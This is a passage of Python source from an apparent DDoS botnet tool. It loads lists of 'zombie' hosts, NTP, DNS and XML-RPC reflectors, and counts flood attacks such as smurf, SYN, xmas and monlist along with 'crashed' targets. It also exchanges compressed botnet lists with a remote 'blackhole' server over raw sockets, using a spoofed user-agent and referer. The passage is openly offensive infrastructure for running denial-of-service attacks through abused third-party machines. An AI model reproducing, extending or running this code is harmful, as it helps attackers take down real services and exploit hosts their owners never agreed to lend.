  1220. except Exception as e:
  1221. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1222. return
  1223. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1224. if options.upload_github:
  1225. try:
  1226. self.banner()
  1227. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1228. print('='*22 + '\n')
  1229. upload_github_list = self.uploading_github_list()
  1230. except Exception as e:
  1231. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1232. if DEBUG == True:
  1233. traceback.print_exc()
  1234. return #sys.exit(2)
  1235. # starting new zombie thread
  1236. def connect_zombies(self, zombie):
  1237. z=Zombie(self, zombie)
  1238. t = threading.Thread(target=z.connect, name=zombie)
  1239. t.start()
  1240. # single connection handling
  1241. def connect_zombie(self, zombie):
  1242. z=Zombie(self,zombie)
  1243. return z.connect()
  1244. def extract_proxy(self, proxy):
  1245. sep = ":"
  1246. proxy_ip = proxy.rsplit(sep, 1)[0]
  1247. if proxy_ip.startswith('http://'):
  1248. proxy_ip = proxy_ip.replace('http://', '')
  1249. elif proxy_ip.startswith('https://'):
  1250. proxy_ip = proxy_ip.replace('https://', '')
  1251. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1252. proxy_ip = 'localhost'
  1253. proxy_port = proxy.rsplit(sep, 1)[1]
  1254. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1255. return proxy_url
  1256. def proxy_transport(self, proxy):
  1257. proxy_url = self.extract_proxy(proxy)
  1258. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1259. opener = urllib.request.build_opener(proxy)
  1260. urllib.request.install_opener(opener)
  1261. def check_mothership_chargo(self):
  1262. f = open(self.zombies_file)
  1263. self.zombies = f.readlines()
  1264. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1265. self.list_zombies = []
  1266. for zombie in self.zombies:
  1267. t = urlparse(zombie)
  1268. name_zombie = t.netloc
  1269. if name_zombie == "":
  1270. name_zombie = zombie
  1271. self.list_zombies.append(name_zombie)
  1272. self.num_zombies = str(len(self.zombies))
  1273. f.close()
  1274. f = open(self.aliens_file)
  1275. self.aliens = f.readlines()
  1276. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1277. self.list_aliens = []
  1278. for alien in self.aliens:
  1279. t = urlparse(alien)
  1280. name_alien = t.netloc
  1281. if name_alien == "":
  1282. name_alien = alien
  1283. self.list_aliens.append(name_alien)
  1284. self.num_aliens = str(len(self.aliens))
  1285. f.close()
  1286. f = open(self.droids_file)
  1287. self.droids = f.readlines()
  1288. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1289. self.list_droids = []
  1290. for droid in self.droids:
  1291. t = urlparse(droid)
  1292. name_droid = t.netloc
  1293. if name_droid == "":
  1294. name_droid = droid
  1295. self.list_droids.append(name_droid)
  1296. self.num_droids = str(len(self.droids))
  1297. f.close()
  1298. f = open(self.ucavs_file)
  1299. self.ucavs = f.readlines()
  1300. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1301. self.list_ucavs = []
  1302. for ucav in self.ucavs:
  1303. t = urlparse(ucav)
  1304. name_ucav = t.netloc
  1305. if name_ucav == "":
  1306. name_ucav = ucav
  1307. self.list_ucavs.append(name_ucav)
  1308. self.num_ucavs = str(len(self.ucavs))
  1309. f.close()
  1310. f = open(self.rpcs_file)
  1311. self.rpcs = f.readlines()
  1312. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1313. self.list_rpcs = []
  1314. for rpc in self.rpcs:
  1315. t = urlparse(rpc)
  1316. name_rpc = t.netloc
  1317. if name_rpc == "":
  1318. name_rpc = rpc
  1319. self.list_rpcs.append(name_rpc)
  1320. self.num_rpcs = str(len(self.rpcs))
  1321. f.close()
  1322. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1323. return self.total_botnet
  1324. def update_flying_stats(self):
  1325. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1326. with open(self.mothership_stats_file, "w") as f:
  1327. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1328. stats_json_file = open(self.mothership_stats_file, "r")
  1329. data = json.load(stats_json_file)
  1330. stats_json_file.close()
  1331. aflying = data["flying"]
  1332. aflying = str(int(aflying) + 1) # add new flying time
  1333. data["flying"] = aflying
  1334. stats_json_file = open(self.mothership_stats_file, "w+")
  1335. stats_json_file.write(json.dumps(data))
  1336. stats_json_file.close()
  1337. def update_mothership_stats(self):
  1338. stats_json_file = open(self.mothership_stats_file, "r")
  1339. data = json.load(stats_json_file)
  1340. stats_json_file.close()
  1341. acompleted = data["completed"]
  1342. acompleted = str(int(acompleted) + 1) # add new completed attack
  1343. data["completed"] = acompleted
  1344. stats_json_file = open(self.mothership_stats_file, "w+")
  1345. stats_json_file.write(json.dumps(data))
  1346. stats_json_file.close()
  1347. def update_targets_crashed(self):
  1348. stats_json_file = open(self.mothership_stats_file, "r")
  1349. data = json.load(stats_json_file)
  1350. stats_json_file.close()
  1351. tcrashed = data["crashed"]
  1352. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1353. data["crashed"] = tcrashed
  1354. stats_json_file = open(self.mothership_stats_file, "w+")
  1355. stats_json_file.write(json.dumps(data))
  1356. stats_json_file.close()
  1357. def update_missions_stats(self):
  1358. stats_json_file = open(self.mothership_stats_file, "r")
  1359. data = json.load(stats_json_file)
  1360. stats_json_file.close()
  1361. missions = data["missions"]
  1362. missions = str(int(missions) + 1) # add new mission target
  1363. data["missions"] = missions
  1364. stats_json_file = open(self.mothership_stats_file, "w+")
  1365. stats_json_file.write(json.dumps(data))
  1366. stats_json_file.close()
  1367. def update_scanner_stats(self, num):
  1368. stats_json_file = open(self.mothership_stats_file, "r")
  1369. data = json.load(stats_json_file)
  1370. stats_json_file.close()
  1371. scanner = data["scanner"]
  1372. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1373. data["scanner"] = scanner
  1374. stats_json_file = open(self.mothership_stats_file, "w+")
  1375. stats_json_file.write(json.dumps(data))
  1376. stats_json_file.close()
  1377. def update_transferred_stats(self, num):
  1378. stats_json_file = open(self.mothership_stats_file, "r")
  1379. data = json.load(stats_json_file)
  1380. stats_json_file.close()
  1381. transferred = data["transferred"]
  1382. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1383. data["transferred"] = transferred
  1384. stats_json_file = open(self.mothership_stats_file, "w+")
  1385. stats_json_file.write(json.dumps(data))
  1386. stats_json_file.close()
  1387. def update_max_chargo(self, chargo):
  1388. stats_json_file = open(self.mothership_stats_file, "r")
  1389. data = json.load(stats_json_file)
  1390. stats_json_file.close()
  1391. amax_chargo = data["max_chargo"]
  1392. if int(chargo) > int(amax_chargo): # new max chargo found
  1393. amax_chargo = chargo # add new max chargo
  1394. else:
  1395. amax_chargo = data["max_chargo"]
  1396. data["max_chargo"] = amax_chargo
  1397. stats_json_file = open(self.mothership_stats_file, "w+")
  1398. stats_json_file.write(json.dumps(data))
  1399. stats_json_file.close()
  1400. def update_loic_stats(self):
  1401. stats_json_file = open(self.mothership_stats_file, "r")
  1402. data = json.load(stats_json_file)
  1403. stats_json_file.close()
  1404. aloic = data["loic"]
  1405. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1406. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1407. data["loic"] = aloic
  1408. stats_json_file = open(self.mothership_stats_file, "w+")
  1409. stats_json_file.write(json.dumps(data))
  1410. stats_json_file.close()
  1411. def update_loris_stats(self):
  1412. stats_json_file = open(self.mothership_stats_file, "r")
  1413. data = json.load(stats_json_file)
  1414. stats_json_file.close()
  1415. aloris = data["loris"]
  1416. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1417. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1418. data["loris"] = aloris
  1419. stats_json_file = open(self.mothership_stats_file, "w+")
  1420. stats_json_file.write(json.dumps(data))
  1421. stats_json_file.close()
  1422. def update_ufosyn_stats(self):
  1423. stats_json_file = open(self.mothership_stats_file, "r")
  1424. data = json.load(stats_json_file)
  1425. stats_json_file.close()
  1426. aufosyn = data["ufosyn"]
  1427. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1428. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1429. data["ufosyn"] = aufosyn
  1430. stats_json_file = open(self.mothership_stats_file, "w+")
  1431. stats_json_file.write(json.dumps(data))
  1432. stats_json_file.close()
  1433. def update_spray_stats(self):
  1434. stats_json_file = open(self.mothership_stats_file, "r")
  1435. data = json.load(stats_json_file)
  1436. stats_json_file.close()
  1437. aspray = data["spray"]
  1438. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1439. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1440. data["spray"] = aspray
  1441. stats_json_file = open(self.mothership_stats_file, "w+")
  1442. stats_json_file.write(json.dumps(data))
  1443. stats_json_file.close()
  1444. def update_smurf_stats(self):
  1445. stats_json_file = open(self.mothership_stats_file, "r")
  1446. data = json.load(stats_json_file)
  1447. stats_json_file.close()
  1448. asmurf = data["smurf"]
  1449. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1450. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1451. data["smurf"] = asmurf
  1452. stats_json_file = open(self.mothership_stats_file, "w+")
  1453. stats_json_file.write(json.dumps(data))
  1454. stats_json_file.close()
  1455. def update_xmas_stats(self):
  1456. stats_json_file = open(self.mothership_stats_file, "r")
  1457. data = json.load(stats_json_file)
  1458. stats_json_file.close()
  1459. axmas = data["xmas"]
  1460. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1461. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1462. data["xmas"] = axmas
  1463. stats_json_file = open(self.mothership_stats_file, "w+")
  1464. stats_json_file.write(json.dumps(data))
  1465. stats_json_file.close()
  1466. def update_nuke_stats(self):
  1467. stats_json_file = open(self.mothership_stats_file, "r")
  1468. data = json.load(stats_json_file)
  1469. stats_json_file.close()
  1470. anuke = data["nuke"]
  1471. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1472. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1473. data["nuke"] = anuke
  1474. stats_json_file = open(self.mothership_stats_file, "w+")
  1475. stats_json_file.write(json.dumps(data))
  1476. stats_json_file.close()
  1477. def update_tachyon_stats(self):
  1478. stats_json_file = open(self.mothership_stats_file, "r")
  1479. data = json.load(stats_json_file)
  1480. stats_json_file.close()
  1481. atachyon = data["tachyon"]
  1482. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1483. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1484. data["tachyon"] = atachyon
  1485. stats_json_file = open(self.mothership_stats_file, "w+")
  1486. stats_json_file.write(json.dumps(data))
  1487. stats_json_file.close()
  1488. def update_monlist_stats(self):
  1489. stats_json_file = open(self.mothership_stats_file, "r")
  1490. data = json.load(stats_json_file)
  1491. stats_json_file.close()
  1492. amonlist = data["monlist"]
  1493. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1494. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1495. data["monlist"] = amonlist
  1496. stats_json_file = open(self.mothership_stats_file, "w+")
  1497. stats_json_file.write(json.dumps(data))
  1498. stats_json_file.close()
  1499. def uploading_list(self):
  1500. from io import BytesIO
  1501. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1502. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1503. abductions = "botnet/abductions.txt.gz"
  1504. troops = "botnet/troops.txt.gz"
  1505. robots = "botnet/robots.txt.gz"
  1506. drones = "botnet/drones.txt.gz"
  1507. reflectors = "botnet/reflectors.txt.gz"
  1508. crystals = "botnet/crystals.txt.gz"
  1509. warps = "botnet/warps.txt.gz"
  1510. if self.options.timeout: # set timeout
  1511. try:
  1512. timeout = int(self.options.timeout)
  1513. except:
  1514. timeout = 5
  1515. else:
  1516. timeout = 5
  1517. if timeout < 1:
  1518. timeout = 5
  1519. try:
  1520. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1521. if self.options.forcessl:
  1522. if self.options.proxy: # set proxy
  1523. self.proxy_transport(options.proxy)
  1524. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1525. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1526. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1527. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1528. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1529. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1530. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1531. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1532. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1533. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1534. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1535. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1536. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1537. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1538. else:
  1539. if self.options.proxy: # set proxy
  1540. self.proxy_transport(options.proxy)
  1541. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1542. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1543. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1544. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1545. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1546. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1547. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1548. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1549. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1550. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1551. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1552. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1553. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1554. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1555. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1556. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1557. print('-'*12 + '\n')
  1558. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1559. return
  1560. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1561. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1562. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1563. f_out_abductions.write(f_in_abductions.read())
  1564. f_in_abductions.close()
  1565. f_out_abductions.close()
  1566. num_zombies = 0
  1567. with open('botnet/abductions.txt') as f:
  1568. for _ in f:
  1569. num_zombies = num_zombies + 1
  1570. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1571. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1572. f_out_robots = open('botnet/robots.txt', 'wb')
  1573. f_out_robots.write(f_in_robots.read())
  1574. f_in_robots.close()
  1575. f_out_robots.close()
  1576. num_robots = 0
  1577. with open('botnet/robots.txt') as f:
  1578. for _ in f:
  1579. num_robots = num_robots + 1
  1580. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1581. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1582. f_out_troops = open('botnet/troops.txt', 'wb')
  1583. f_out_troops.write(f_in_troops.read())
  1584. f_in_troops.close()
  1585. f_out_troops.close()
  1586. num_aliens = 0
  1587. with open('botnet/aliens.txt') as f:
  1588. for _ in f:
  1589. num_aliens = num_aliens + 1
  1590. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1591. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1592. f_out_drones = open('botnet/drones.txt', 'wb')
  1593. f_out_drones.write(f_in_drones.read())
  1594. f_in_drones.close()
  1595. f_out_drones.close()
  1596. num_drones = 0
  1597. with open('botnet/drones.txt') as f:
  1598. for _ in f:
  1599. num_drones = num_drones + 1
  1600. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1601. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1602. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1603. f_out_reflectors.write(f_in_reflectors.read())
  1604. f_in_reflectors.close()
  1605. f_out_reflectors.close()
  1606. num_reflectors = 0
  1607. with open('botnet/reflectors.txt') as f:
  1608. for _ in f:
  1609. num_reflectors = num_reflectors + 1
  1610. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1611. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1612. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1613. f_out_crystals.write(f_in_crystals.read())
  1614. f_in_crystals.close()
  1615. f_out_crystals.close()
  1616. num_crystals = 0
  1617. with open('botnet/crystals.txt') as f:
  1618. for _ in f:
  1619. num_crystals = num_crystals + 1
  1620. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1621. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1622. f_out_warps = open('botnet/warps.txt', 'wb')
  1623. f_out_warps.write(f_in_warps.read())
  1624. f_in_warps.close()
  1625. f_out_warps.close()
  1626. num_warps = 0
  1627. with open('botnet/warps.txt') as f:
  1628. for _ in f:
  1629. num_warps = num_warps + 1
  1630. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1631. print('-'*12 + '\n')
  1632. if not self.options.forceyes:
  1633. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1634. print('-'*25)
  1635. else:
  1636. update_reply = "Y"
  1637. if update_reply == "n" or update_reply == "N":
  1638. os.remove('botnet/abductions.txt') # remove abductions file
  1639. os.remove('botnet/troops.txt') # remove troops file
  1640. os.remove('botnet/robots.txt') # remove robots file
  1641. os.remove('botnet/drones.txt') # remove drones file
  1642. os.remove('botnet/reflectors.txt') # remove reflectors file
  1643. os.remove('botnet/crystals.txt') # remove crystals file
  1644. os.remove('botnet/warps.txt') # remove warps file
  1645. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1646. return
  1647. else:
  1648. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1649. print('='*35)
  1650. zombies = self.extract_zombies()
  1651. if not zombies:
  1652. return
  1653. test = self.testing(zombies)
  1654. zombies_community = []
  1655. zombies_added = 0
  1656. f = open('botnet/abductions.txt')
  1657. abductions = f.readlines()
  1658. abductions = [abduction.strip() for abduction in abductions]
  1659. f.close()
  1660. fz = open(self.zombies_file)
  1661. zombies = fz.readlines()
  1662. zombies = [zombie.strip() for zombie in zombies]
  1663. fz.close()
  1664. for zombie in zombies:
  1665. if zombie not in abductions:
  1666. zombies_community.append(zombie)
  1667. zombies_added = zombies_added + 1
  1668. else:
  1669. pass
  1670. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1671. aliens = self.extract_aliens()
  1672. if not aliens:
  1673. return
  1674. aliens_community = []
  1675. aliens_added = 0
  1676. f = open('botnet/troops.txt')
  1677. troops = f.readlines()
  1678. troops = [troop.strip() for troop in troops]
  1679. f.close()
  1680. fz = open(self.aliens_file)
  1681. aliens = fz.readlines()
  1682. aliens = [alien.strip() for alien in aliens]
  1683. fz.close()
  1684. for alien in aliens:
  1685. if alien not in troops:
  1686. aliens_community.append(alien)
  1687. aliens_added = aliens_added + 1
  1688. else:
  1689. pass
  1690. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1691. droids = self.extract_droids()
  1692. if not droids:
  1693. return
  1694. droids_community = []
  1695. droids_added = 0
  1696. f = open('botnet/robots.txt')
  1697. robots = f.readlines()
  1698. robots = [robot.strip() for robot in robots]
  1699. f.close()
  1700. fz = open(self.droids_file)
  1701. droids = fz.readlines()
  1702. droids = [droid.strip() for droid in droids]
  1703. fz.close()
  1704. for droid in droids:
  1705. if droid not in robots:
  1706. droids_community.append(droid)
  1707. droids_added = droids_added + 1
  1708. else:
  1709. pass
  1710. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1711. ucavs = self.extract_ucavs()
  1712. if not ucavs:
  1713. return
  1714. ucavs_community = []
  1715. ucavs_added = 0
  1716. f = open('botnet/drones.txt')
  1717. drones = f.readlines()
  1718. drones = [drone.strip() for drone in drones]
  1719. f.close()
  1720. fz = open(self.ucavs_file)
  1721. ucavs = fz.readlines()
  1722. ucavs = [ucav.strip() for ucav in ucavs]
  1723. fz.close()
  1724. for ucav in ucavs:
  1725. if ucav not in drones:
  1726. ucavs_community.append(ucav)
  1727. ucavs_added = ucavs_added + 1
  1728. else:
  1729. pass
  1730. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1731. rpcs = self.extract_rpcs()
  1732. if not rpcs:
  1733. return
  1734. rpcs_community = []
  1735. rpcs_added = 0
  1736. f = open('botnet/reflectors.txt')
  1737. reflectors = f.readlines()
  1738. reflectors = [reflector.strip() for reflector in reflectors]
  1739. f.close()
  1740. fz = open(self.rpcs_file)
  1741. rpcs = fz.readlines()
  1742. rpcs = [rpc.strip() for rpc in rpcs]
  1743. fz.close()
  1744. for rpc in rpcs:
  1745. if rpc not in reflectors:
  1746. rpcs_community.append(rpc)
  1747. rpcs_added = rpcs_added + 1
  1748. else:
  1749. pass
  1750. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1751. ntps = self.extract_ntps()
  1752. if not ntps:
  1753. return
  1754. ntps_community = []
  1755. ntps_added = 0
  1756. f = open('botnet/crystals.txt')
  1757. crystals = f.readlines()
  1758. crystals = [crystal.strip() for crystal in crystals]
  1759. f.close()
  1760. fz = open(self.ntps_file)
  1761. ntps = fz.readlines()
  1762. ntps = [ntp.strip() for ntp in ntps]
  1763. fz.close()
  1764. for ntp in ntps:
  1765. if ntp not in crystals:
  1766. ntps_community.append(ntp)
  1767. ntps_added = ntps_added + 1
  1768. else:
  1769. pass
  1770. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1771. dnss = self.extract_dnss()
  1772. if not dnss:
  1773. return
  1774. dnss_community = []
  1775. dnss_added = 0
  1776. f = open('botnet/warps.txt')
  1777. warps = f.readlines()
  1778. warps = [warp.strip() for warp in warps]
  1779. f.close()
  1780. fz = open(self.dnss_file)
  1781. dnss = fz.readlines()
  1782. dnss = [dns.strip() for dns in dnss]
  1783. fz.close()
  1784. for dns in dnss:
  1785. if dns not in warps:
  1786. dnss_community.append(dns)
  1787. dnss_added = dnss_added + 1
  1788. else:
  1789. pass
  1790. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1791. print('-'*12 + '\n')
  1792. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1793. os.remove('botnet/abductions.txt') # remove abductions file
  1794. os.remove('botnet/troops.txt') # remove troops file
  1795. os.remove('botnet/robots.txt') # remove robots file
  1796. os.remove('botnet/drones.txt') # remove ucavs file
  1797. os.remove('botnet/reflectors.txt') # remove rpcs file
  1798. os.remove('botnet/crystals.txt') # remove crystals file
  1799. os.remove('botnet/warps.txt') # remove warps file
  1800. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1801. return
  1802. else:
  1803. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1804. for zombie in zombies_community:
  1805. fc.write(zombie.strip()+"\n")
  1806. fc.close()
  1807. os.remove('botnet/abductions.txt') # remove abductions file
  1808. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1809. for alien in aliens_community:
  1810. fc.write(alien.strip()+"\n")
  1811. fc.close()
  1812. os.remove('botnet/troops.txt') # remove troops file
  1813. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1814. for droid in droids_community:
  1815. fc.write(droid.strip()+"\n")
  1816. fc.close()
  1817. os.remove('botnet/robots.txt') # remove robots file
  1818. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1819. for ucav in ucavs_community:
  1820. fc.write(ucav.strip()+"\n")
  1821. fc.close()
  1822. os.remove('botnet/drones.txt') # remove drones file
  1823. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1824. for rpc in rpcs_community:
  1825. fc.write(rpc.strip()+"\n")
  1826. fc.close()
  1827. os.remove('botnet/reflectors.txt') # remove reflectors file
  1828. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1829. for ntp in ntps_community:
  1830. fc.write(ntp.strip()+"\n")
  1831. fc.close()
  1832. os.remove('botnet/crystals.txt') # remove crystals file
  1833. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1834. for dns in dnss_community:
  1835. fc.write(dns.strip()+"\n")
  1836. fc.close()
  1837. os.remove('botnet/warps.txt') # remove warps file
  1838. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1839. try: # open a socket and send data to the blackhole reciever port
  1840. host = self.blackhole
  1841. cport = 9991
  1842. mport = 9990
  1843. try:
  1844. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1845. cs.connect(host, cport)
  1846. cs.send("SEND " + 'community_zombies.txt.gz')
  1847. cs.close()
  1848. f = open('botnet/community_zombies.txt.gz', "rb")
  1849. data = f.read()
  1850. f.close()
  1851. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1852. ms.connect(host, mport)
  1853. ms.send(data)
  1854. ms.close()
  1855. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1856. time.sleep(1)
  1857. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1858. cs.connect(host, cport)
  1859. cs.send("SEND " + 'community_aliens.txt.gz')
  1860. cs.close()
  1861. f = open('botnet/community_aliens.txt.gz', "rb")
  1862. data = f.read()
  1863. f.close()
  1864. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1865. ms.connect(host, mport)
  1866. ms.send(data)
  1867. ms.close()
  1868. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1869. time.sleep(1)
  1870. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1871. cs.connect(host, cport)
  1872. cs.send("SEND " + 'community_robots.txt.gz')
  1873. cs.close()
  1874. f = open('botnet/community_droids.txt.gz', "rb")
  1875. data = f.read()
  1876. f.close()
  1877. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1878. ms.connect(host, mport)
  1879. ms.send(data)
  1880. ms.close()
  1881. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1882. time.sleep(1)
  1883. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1884. cs.connect(host, cport)
  1885. cs.send("SEND " + 'community_ucavs.txt.gz')
  1886. cs.close()
  1887. f = open('botnet/community_ucavs.txt.gz', "rb")
  1888. data = f.read()
  1889. f.close()
  1890. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1891. ms.connect(host, mport)
  1892. ms.send(data)
  1893. ms.close()
  1894. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1895. time.sleep(1)
  1896. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1897. cs.connect(host, cport)
  1898. cs.send("SEND " + 'community_rpcs.txt.gz')
  1899. cs.close()
  1900. f = open('botnet/community_rpcs.txt.gz', "rb")
  1901. data = f.read()
  1902. f.close()
  1903. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1904. ms.connect(host, mport)
  1905. ms.send(data)
  1906. ms.close()
  1907. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1908. time.sleep(1)
  1909. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1910. cs.connect(host, cport)
  1911. cs.send("SEND " + 'community_ntps.txt.gz')
  1912. cs.close()
  1913. f = open('botnet/community_ntps.txt.gz', "rb")
  1914. data = f.read()
  1915. f.close()
  1916. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1917. ms.connect(host, mport)
  1918. ms.send(data)
  1919. ms.close()
